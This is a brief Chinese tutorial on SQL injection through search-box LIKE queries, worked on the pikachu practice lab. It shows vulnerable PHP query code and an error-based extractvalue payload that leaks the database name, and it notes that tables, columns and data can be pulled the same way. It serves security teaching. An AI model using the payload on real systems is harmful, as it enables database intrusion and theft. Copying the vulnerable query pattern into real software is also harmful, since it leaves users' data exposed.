概述

搜索框功能在程序开发里,是经常用到的一个功能。方便用户对数据库数据进行数据搜索。对后台用户编程的推测伪代码基本上就是:
$searchdata=$_GET[“data”];
$sql=”select from datatable where s like ‘%$searchdata%’ “;
$sql=”select
from datatable where s like ‘%”. $searchdata.”%’” ;
$sql=”select from datatable where s like ‘$searchdata%’ “;
$sql=”select
from datatable where s like ‘%$searchdata’ “;
注入的要点: 闭合单引号,同时要注意自己的位置。它位于where语句后面,可能还有一大堆的搜索条件。

案例讲解
还是以pikachu的搜索案例来讲解。
image.png

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘%’’ at line 1

select from datatable where s like ‘%*_’ and extractvalue(1,concat(0x7e,(select database()),0x8e)) — 空格

image.png

上帝视角

select username,id,email from member where username like ‘%_’ and extractvalue(1,concat(0x7e,(select database()),0x8e)) —
image.png

会的同学可以直接在脑子里把整个过程都回忆一下。 不会的同学先去mysql里把上帝视角过一次。就能体会的很好。

后面如何取表,列,数据,就依葫芦画瓢了。

延伸知识

MySQL的注释都有哪三种类型?
第一种 : —空格
第二种: / 被注释的内容 /
第三种: #

空格的url编码为%20 #在浏览器里的编码为 %23